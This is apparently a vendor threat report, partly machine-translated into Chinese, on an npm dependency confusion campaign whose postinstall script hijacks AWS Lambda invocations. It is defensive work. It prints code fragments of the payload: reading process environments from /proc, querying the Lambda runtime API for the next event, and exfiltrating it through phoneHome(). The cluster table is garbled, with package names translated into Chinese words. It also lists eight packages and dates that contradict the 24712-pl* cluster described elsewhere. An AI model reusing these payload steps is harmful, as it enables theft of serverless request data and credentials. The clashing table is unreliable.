TL博士
2026年5月6日至5月7日期間，單一npm發布者， pelavelle, pushed eight zero-dependency packages using names that followed the same internal-looking pattern: 24712-pl*.
The packages included 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2以及 24712-plv3. The numbered prefix strongly suggests an npm dependency confusion attack against an internal package namespace or package-id scheme.
All eight sibling packages were already unpublished from npm by the publisher between 2026-05-06T21:52Z 以及 2026-05-07T00:31Z. Direct registry metadata confirmed that the tarballs now return HTTP 404.
然而，集群仍然很重要。
The canonical sample, 24712-pl5006:0.0.1, contains a postinstall.js script that runs during npm install. Instead of stealing generic environment variables, it specifically looks for AWS_LAMBDA_RUNTIME_API, the environment variable used by AWS Lambda runtimes.
If the script finds AWS_LAMBDA_RUNTIME_API, it calls the Lambda Runtime API endpoint:
That call attempts to consume the next pending Lambda invocation event before the legitimate Lambda handler can process it.
The captured event, including headers, request ID, account context, and up to 8 KB of request body, is then sent to an attacker-controlled phone-home endpoint through the script’s phoneHome() 的功能。
Xygeni’s Malware Early Warning (MEW) system classified the canonical sample as probably malicious with a score of 91.3/100.
We are tracking this as an npm dependency confusion attack with AWS Lambda runtime hijack behavior.
集群：八個軟體包，一個出版商
出版商帳戶 pelavelle 使用的電子郵件地址：
pelavelle@clovercode.comThe account had an unverified email, no SCM verification, and a low reputation score of 5.
The publisher released eight related packages over a short window between 2026-05-06 20:45Z and 22:36Z. The package names all follow the same shape:
24712-pl*This pattern is the key signal. It does not look like a public developer utility. Instead, it looks like an internal package naming scheme.
| # | 小包裝 | 惡意版本 | 創建於 UTC | 未發表，UTC | 有效載荷已確認 | 安裝鉤子 |
|---|---|---|---|---|---|---|
| 1 | 宇宙探索者 | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | 推斷，同一張發布者/集群 | 預安裝，假定 |
| 2 | signalsdk-web | 1.0.0，10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | 推斷 | 預安裝，假定 |
| 3 | ms.analytics-web | 99.0.0，99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | 推斷 | 預安裝，假定 |
| 4 | 生成的圖標 | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | 推斷 | 預安裝，假定 |
| 5 | 延遲追蹤 | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | 推斷 | 預安裝，假定 |
| 6 | 延遲追蹤-內部 | 從註冊表記錄中剝離版本信息 | 2026-05-06T06:02Z | 2026-05-06T08:35Z | 推斷 | 預安裝，假定 |
| 7 | carboniteapp | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | 是的，完整的掃描器程式碼流程 | 預先安裝：node index.js |
| 8 | 碳化物-內部 | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | 是的，完整的掃描器程式碼流程 | 預先安裝：node index.js |
Total versions across the cluster: 19 version-package tuples.
The canonical sample, 24712-pl5006:0.0.1, was published on 2026-05-06T22:36:34Z and scanned by Xygeni’s MEW pipeline before the unpublish event.
It contained four files, including package/postinstall.js, with 3,335 bytes of total source.
規範的 commit hash was:
83e0efbfd110abb2398a06196fb698565a3f6cc6Why the Name Pattern Matters
The package names are the strongest indicator of intent.
They all start with the same prefix:
24712-plThen they add numeric or version-like suffixes:
24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3This does not resemble normal public npm naming. It looks like an internal namespace prefix or internal package-id scheme.
That makes the cluster consistent with an npm dependency confusion attack.
In a dependency confusion attack, the attacker publishes a public package with a name that matches, or appears to match, an internal dependency. If the target’s package manager or build environment resolves the public package instead of the private one, attacker-controlled code runs inside the target environment.
OWASP describes dependency confusion as an attack vector that tricks package managers and proxies into fetching a malicious public package instead of the intended internal package of the same name.
For deeper context on how this class of attack works, see Xygeni’s guide on lack of version pinning and dependency confusion 以及我們的帖子 identifying and managing software dependency attacks.
安裝時會發生什麼
The canonical package declares a postinstall 鉤：
{ "scripts": { "postinstall": "node postinstall.js || true" } }这 postinstall lifecycle is part of npm’s package script system. npm’s documentation explains that packages can define lifecycle scripts in package.json, including built-in installation lifecycle events.
这 || true 很重要
It swallows errors so installation still succeeds even if the hijack fails. That helps the package avoid breaking the build and reduces the chance that developers or CI systems notice the malicious behavior through a failed install.
The payload runs during npm install. No developer import is required. No application path has to call the package.
The install itself is enough.
Payload Behavior: Lambda Runtime Hijack
这 postinstall.js script performs a targeted sequence.
First, it reads the parent process environment from Linux /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');Then it extracts the AWS Lambda runtime endpoint:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);If the runtime API is found, the script stores it:
runtimeApi = match[1];Next, it sends a first beacon through phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });That first beacon leaks the Lambda runtime API endpoint.
Then the script parses the runtime API host and port:
const [host, portStr] = runtimeApi.split(':');Finally, it calls the AWS Lambda Runtime API path used to retrieve the next invocation:
http.request({ host, port, path: '/2018-06-01/runtime/invocation/next', method: 'GET', timeout: 90000 }, ...);That is the core of the attack.
The script attempts to consume the next Lambda invocation event before the legitimate Lambda handler can process it. AWS’s custom runtime guide also describes the “get an event” step as a call to the next invocation API.
What Gets Exfiltrated
If the script captures an invocation, it sends the result to the attacker-controlled phone-home endpoint.
The exfiltrated fields include:
| 場 | 意思 |
|---|---|
step | Execution stage, such as waiting, next_error， 或者 captured |
runtimeApi | Lambda runtime API endpoint |
accountSid | Captured AWS account context |
requestId | Lambda invocation request ID |
isOwnAccount | Boolean comparison against the script’s configured account value |
statusCode | Runtime API response status |
headers | Invocation response headers |
body | Captured invocation body, sliced to 8,000 characters |
The key exfiltration call is the phoneHome(data) function, which JSON-encodes the data and sends it through an HTTP POST.
The exact phone-home destination URL was not preserved in the available truncated evidence. Therefore, npm should preserve the unpublished tarball internally so the C2 host literal can be extracted before deletion is finalized.
為什麼這很危險
This is not a generic npm beacon.
The payload is designed around AWS Lambda’s 執行模型。
If a vulnerable package is installed inside a Lambda execution environment, such as during a deployment image build, a Lambda layer install, or an init wrapper process, the environment may expose AWS_LAMBDA_RUNTIME_API.
Once the script has that value, it can call:
/2018-06-01/runtime/invocation/nextThat endpoint returns the next pending invocation event.
As a result, the attacker may be able to capture:
- Request bodies
- 頭
- Request IDs
- AWS account context
- Signed request data
- Customer PII
- S3 event data
- Application-specific payloads
- Internal service context
The legitimate handler may never see the consumed event.
That turns an npm install script into a Lambda event interception primitive.
Even if the package never lands in a real Lambda environment, the behavior can still leak useful context from dev or CI systems. Reading /proc/<pid>/environ may expose environment variables present in parent processes, which can include AWS keys, database URLs, CI tokens, or deployment credentials.
This is why dependency scanning cannot stop at known CVEs. Teams also need malicious package detection, install-script analysis, and registry-policy enforcement. For related guidance, read 為什麼依賴項掃描對 DevOps 團隊至關重要 以及 Malware Protection: Why Antivirus Can’t Stop Supply Chain Attacks.
Xygeni MEW 分類
Xygeni MEW scanned the canonical sample 24712-pl5006:0.0.1 before the unpublish event.
The scanner returned:
91.3 / 100 probablyMalicious threshold: 80The evidence included three Critical items and one High item confirming the Lambda runtime-hijack data flow.
| 嚴重性 | 證據 | 意思 |
|---|---|---|
| 危急 | /proc/<pid>/environ 閱讀 | Reads parent process environment |
| 危急 | AWS_LAMBDA_RUNTIME_API 萃取 | Targets Lambda runtime endpoint |
| 危急 | /runtime/invocation/next 請求 | Attempts to consume a real Lambda invocation event |
| 高 | postinstall 腳本 | Runs during npm install |
The behavior is highly specific and high impact. The package does not need broad malware features because the Lambda runtime endpoint is already a powerful target.
Xygeni MEW is designed for this kind of case: detecting suspicious and malicious package behavior before it becomes a downstream incident. For a wider view of current npm and PyPI threat patterns, see 深入探討2025年軟體供應鏈攻擊.
為什麼自取消發布模式很重要
All eight packages were unpublished by the publisher within a short time window.
That behavior is suspicious in this context.
The cluster appeared, ran if selected by a vulnerable dependency-resolution path, and then disappeared. This is consistent with attacker cleanup after a successful or aborted proof of concept, or after the target organization noticed the issue.
Unpublishing creates a visibility gap for defenders.
Public npm data may no longer include the tarballs. Some package versions cannot be re-downloaded. However, affected environments may still have cached copies, lockfile references, CI logs, or package manager artifacts.
That is why registry-side preservation matters.
npm should preserve the unpublished tarballs internally long enough to extract the exact phone-home URL, confirm sibling payload identity, and support incident response.
入侵和偵測指標
出版商和帳戶
| 場 | 價值 |
|---|---|
| npm 用戶名 | pelavelle |
| npm 發布者電子郵件 | pelavelle@clovercode.com |
| 電子郵件已驗證 | 沒有 |
| SCM 驗證 | 沒有 |
| Publisher reputation score | 5 |
| Package naming pattern | ^24712-pl[0-9a-z]+$ |
| Internal namespace prefix | 24712-pl |
受影響的軟體包名稱
24712-pl3469 24712-pl4712 24712-pl4713 24712-pl5004 24712-pl5005 24712-pl5006 24712-plv2 24712-plv3Canonical Sample
| 場 | 價值 |
|---|---|
| 小包裝 | 24712-pl5006 |
| 版本 | 0.0.1 |
| 發布時間 | 2026-05-06T22:36:34Z |
| Commit 哈希 | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| Xygeni scan UUID | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| 總分 | 91.3 / 100 |
| 判決書 | probablyMalicious |
安裝鉤子
{ "scripts": { "postinstall": "node postinstall.js || true" } }Lambda Runtime Indicators
Exfiltrated Payload Fields
step runtimeApi accountSid requestId isOwnAccount statusCode headers bodyThe body is sliced to 8,000 characters.
檢測記錄
Several rules can catch this npm dependency confusion attack and likely variants.
First, flag npm install scripts that read parent process environment from /proc:
/proc/<pid>/environThat is rarely legitimate behavior for an npm dependency during install.
Second, alert on package install scripts that reference:
AWS_LAMBDA_RUNTIME_APIThis environment variable should not be accessed by third-party npm packages during installation.
Third, block or review install scripts that call:
/2018-06-01/runtime/invocation/nextThis is the AWS Lambda Runtime API endpoint for receiving the next invocation. A dependency install script has no legitimate reason to consume it.
Fourth, hunt for lockfile references to the affected package names:
package-lock.json yarn.lock pnpm-lock.yaml npm-shrinkwrap.json任何匹配項都應觸發依賴關係混淆審查。
Fifth, alert on the package name regex:
^24712-pl[0-9a-z]+$especially when the publisher is public, low reputation, unverified, or outside the expected internal registry.
Finally, add CI/CD guardrails around install scripts. This is especially important because npm lifecycle scripts can execute during package installation, before developers import anything. For more on CI/CD detection patterns, see Xygeni’s Top 10 Indicators of Compromise in CI/CD Pipelines 以及 安全性 Guardrails 對於 CI/CD Pipelines.
建議的註冊表操作
This cluster was already unpublished at report time, but unpublish does not remove the risk.
建議在 npm 端執行的操作：
- 確認這些取消發布操作是攻擊者發動的清理行動，還是合法的維護者操作。
- 暫停或封鎖發布商帳戶
pelavelle. - 新增
pelavelle@clovercode.com, the package names, and the package-name regex to npm abuse and supply-chain blocklists. - 將未發布的 tar 包保存在內部儲存中，以備取證之用。
- Extract the exact
phoneHome()destination URL from the preserved package tarballs. - Confirm whether all sibling packages share the same payload.
- Notify affected organizations if package download or install telemetry indicates exposure.
妥協應對清單
If any affected package appeared in lockfiles, CI logs, package caches, Lambda layers, deployment images, or build artifacts, treat it as a potential dependency-confusion execution event.
建議回覆：
- Identify where the package was installed: local workstation, CI runner, Lambda layer build, deployment image, or runtime environment.
- Preserve lockfiles, npm cache, build logs, deployment artifacts, and container image layers.
- Check whether installation occurred inside an environment where
AWS_LAMBDA_RUNTIME_API已設定。 - Review outbound HTTP logs for unknown
phoneHome()destinations during the install window. - Audit Lambda invocation logs for dropped, missing, or anomalous events.
- Rotate secrets exposed to the install environment, especially AWS keys, CI tokens, deployment credentials, and database URLs.
- Review Lambda layers and deployment images for cached copies of the package.
- Enforce private registry pinning for internal package prefixes.
- Block public npm resolution for internal-looking package names.
- 新增 guardrails 對於
preinstall,install以及postinstall腳本。
How Xygeni Helps Detect This Earlier
This campaign is exactly the type of case where security teams need more than traditional vulnerability scanning.
可能沒有 CVE. There may be no known vulnerable version. There may be no long-lived package to inspect after the publisher cleans up.
Instead, teams need real-time visibility into package behavior.
Xygeni helps by combining:
- Early malware detection across public registries.
- Suspicious dependency detection for dependency confusion and typosquatting.
- Install-script analysis for
preinstall,install以及postinstall行為。 - CI/CD guardrails to block risky packages before they reach build or deployment environments.
- Software supply chain visibility across dependencies, pipelines, and artifacts.
- Policy enforcement for internal package names and untrusted public packages.
That matters because the impact of an npm dependency confusion attack is not limited to developer laptops. It can reach CI runners, build images, Lambda layers, deployment containers, and runtime-adjacent environments.
For broader AppSec and supply chain context, see BEYOND SCA保障您的軟體供應鏈 以及 Software Supply Chain Security 自動化.
防守者應該吸取什麼教訓
This campaign shows how dependency confusion can move beyond basic proof-of-execution beacons.
The payload does not simply confirm that npm install ran. It attempts to interact with the AWS Lambda Runtime API and capture a real invocation event.
That is a meaningful escalation.
For teams using serverless, dependency resolution is part of the runtime threat model. A public npm package with an internal-looking name can become a path into Lambda execution context, request data, and cloud account metadata.
The core lesson is clear: internal package prefixes must be protected, scoped, and pinned to trusted registries. Install scripts must be treated as executable attack surface, especially in CI/CD, container builds, Lambda layers, and deployment pipelines.
CISA’s software supply chain guidance emphasizes the need to protect software, apply security checks, and respond to vulnerabilities continuously across the development process. In this case, that means treating package resolution, package scripts, and serverless build environments as first-class security controls.
已向 npm 報告，要求採取帳戶級強制措施、列入黑名單並保存未發布的 tarball 文件。
